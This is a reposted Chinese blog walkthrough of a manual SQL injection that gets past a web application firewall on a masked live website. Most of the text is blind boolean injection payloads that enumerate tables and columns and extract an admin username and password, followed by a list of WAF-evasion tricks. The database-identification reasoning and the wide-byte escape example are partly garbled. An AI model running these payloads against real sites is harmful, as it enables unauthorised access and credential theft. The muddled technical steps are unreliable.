您的位置:首页 > 其它

一次手工注入waf [转载]

2016-11-17 21:06 447 查看
转载自sss安全论坛

目标站点:http://www.xxx.cn:88
注入点: http://www.xxx.cn:88/new/details1.asp?n_id=49909 对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909



发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,

尝试大写like代替and

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1



Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2



[align=left]可的结论,此waf并不能检测出大写语句,那么开始注入:[/align]
[align=left]首先判断数据库:[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0[/align]
[align=left]Ps(发现waf能检测出*,这里count(1)代替count(*))[/align]
[align=left] [/align]



[align=left] [/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0[/align]



[align=left]结论:是sqlsever数据库[/align]
[align=left]猜解表名[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0[/align]



[align=left] [/align]
[align=left]有表:admin[/align]
[align=left]那么猜测表admin中的字段[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0[/align]



[align=left] [/align]
[align=left] [/align]
[align=left] [/align]

[align=left]经过猜解得到 admin,user,password三个字段[/align]
[align=left]猜解字长[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5[/align]
[align=left] [/align]



[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:[/align]



[align=left] [/align]

... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3

猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录

心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||

这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: